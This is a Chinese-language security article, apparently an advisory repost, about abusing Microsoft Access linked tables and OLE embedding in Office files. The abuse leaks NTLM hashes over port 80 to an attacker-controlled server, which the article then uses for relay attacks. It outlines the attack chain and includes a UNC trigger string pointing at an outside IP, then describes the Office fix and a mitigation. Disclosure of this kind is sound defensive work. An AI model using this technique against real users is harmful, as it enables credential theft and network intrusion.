FreddyLu666
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

概述
1、Microsoft Access提供了一个名为“链接至远程SQL Server表”的功能;
2、该功能存在安全缺陷,攻击者可能利用该漏洞将Windows用户的NTLM令牌以自动化的形式转储到攻击者控制的远程服务器中(通过任意TCP端口,例如80端口);
3、只要目标用户打开了一个.accdb或.mdb文件,该攻击即可执行。实际上,目标用户打开任意常见的Office文件类型(例如.rtf等)也是同样的效果;
4、该技术将允许攻击者绕过现有的用于防止NTLM信息外部窃取的防火墙规则;
NTLM是什么?现在有哪些针对NTLM的攻击?
NTLM 是 Microsoft 于 1993 年推出的一种身份验证协议,不过现在已经不推荐使用了。它是一种挑战-应答协议:服务器保留从用户密码派生的称为“NTLM 哈希”的敏感信息,然后每次用户想要登录时,服务器都会发出随机“挑战”,然后由用户输入密码来计算出正确的响应。
以下是针对 NTLM 的三种常见的攻击方式:
1、暴力破解攻击:这种攻击方式利用了NTLM哈希函数规范中固有的弱点,可以从服务器上存储的NTLM哈希恢复原始密码;
2、哈希传递攻击:这种攻击方式利用了NTLM哈希本身足以正确回答“挑战”的事实,导致使用哈希值代替普通密码基本上没有了意义;
3、中继攻击:这种攻击方式是传统意义上的“中间人”攻击,其中攻击者可以拦截握手交易,并冒充客户端与服务器交互,从而悄悄地完成消息的相互传递,直到会话经过身份验证的关键时刻,此时攻击者会切断合法客户端并代替他们进行数据交互;
在这篇文章中,我们将分析一种新颖的方法,这种方法可以绕过端口屏蔽等缓解方案,并直接对内部用户进行NTLM攻击。值得一提的是,该技术需要基于Microsoft Access的“链接表”功能实现。
Microsoft Access中的“链接表”
在了解攻击者如何滥用此功能之前,我们将首先解释该功能在用于合法目的时如何正常工作。通过链接表,用户可以连接到外部数据库,例如远程Microsoft SQL Server(这种功能的优点应该是不言而喻的,很多时候让每个用户在本地计算机上保留数据库的副本并不是一个很好的解决方案,而且不适用于海量数据场景)。如需激活该功能,可以直接单击“外部数据”选项卡下的“ODBC数据库”按钮:
Microsoft Access还会建议使用一个替代方案,即一次性下载远程表,下载完成后即可视作本地表进行操作。如要实际使用链接功能并与远程数据库同步,用户可以选择另一个选项:“通过创建链接表链接到数据源”:
然后,用户可以在对话框中选择“SQL Server”作为 ODBC 源:
此时,用户需要选择一种与远程服务器进行身份验证的方法:
一般来说,用户会根据服务器支持的身份验证方式、公司安全策略以及个人认为方便的方式进行选择。为了方便演示,我们假设用户选择使用自己的 Windows ID 凭据进行身份验证的选项。此外,普通用户可能会将远程服务器的端口保留为其默认值[1433],但是,我们这里假设用户选择了非正统的端口,例如端口80:
假设远程 SQL Server的身份验证成功并且所选表存在,则客户端的“表”列表中现在将出现一个新条目,即链接表。当用户单击此条目时,将建立与此远程数据库的连接,并且 MS-Access客户端会尝试使用用户的Windows凭证信息向SQL Server进行身份验证:
如何利用“链接表”
那么在利用该功能并将其武器化之前,我们还需要做什么呢?
其实要做的也不多,我们可以设置一台我们可以控制的服务器,然后监听80端口,并将其IP地址写入到上述的“server alias”字段中。接下来,我们就可以将数据库文件(包括链接表)发送给目标用户,如果目标用户打开文件并单击了表格,那么目标客户端Cv将会与我们控制的服务器Sa进行通信,并尝试进行身份验证。然后,Sa将处于执行攻击的主要位置,它可以立即启动与相同组织中目标NTLM服务器St的身份验证过程,并接收挑战,然后在Cv和Sa之间进行身份认证的时候将挑战发送给Cv,并接收一个有效的响应,然后将响应传递给Sa,此时就能成功实现与St的身份验证了。
在Windows操作系统中,MS-Access会注册一个“OLE链接”服务器。这也就意味着,它允许其他应用程序请求它处理和解析对象。比如说,我们可以在Word文档中嵌入图像,当目标用户打开该文档时,MS-Paint 将处理该图像并返回消息,从而允许MS-Word内联显示该图像。
以同样的方式,我们同样可以将 MS-word 文档内的 .accdb 文件作为 OLE 对象链接到该文件,该对象将自动下载(也通过端口 80/tcp),然后由 MS-Access 处理。像下面的字符串这样简单的东西就会触发此行为:
\\\\111.111.111.111@80\\test.accdb
整个攻击链条如下图所示:
技术演示
为了给大家演示该技术,我们专门设计了一个针对该场景的PoC。
下图显示的是目标用户与我们的SQL Server之间进行交互的事务流程,目标用户所处的环境存在端口屏蔽的情况(屏蔽了传出的139/TCP和445/TCP流量,但允许80 /TCP传出),而我们控制的服务器位于公共云环境中,当目标用户在尝试通过服务器的80端口进行身份验证时,便会泄露本地的net-NTLMv2哈希:
缓解方案
目前,最新版本的Office 2021(版本 2306,内部版本 16529.20182)已经修复了该问题,如果再次使用本文技术执行测试时,MS-Access会弹出如下图所示的警告信息:
但是,用户可以选择的唯一选项就是“确定”,点击右上角的关闭效果其实也是一样的。因此,如果你是Office用户并且也看到了如上图所示的弹窗,则很有可能你正在遭受网络攻击,此时请直接通过任务管理器终止“MSACCESS.EXE”进程的执行。
参考资料
https://threatpoint.checkpoint.com/ThreatPortal/search?pattern=&page=1&partition=IPS_PROTECTIONS
参考来源
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)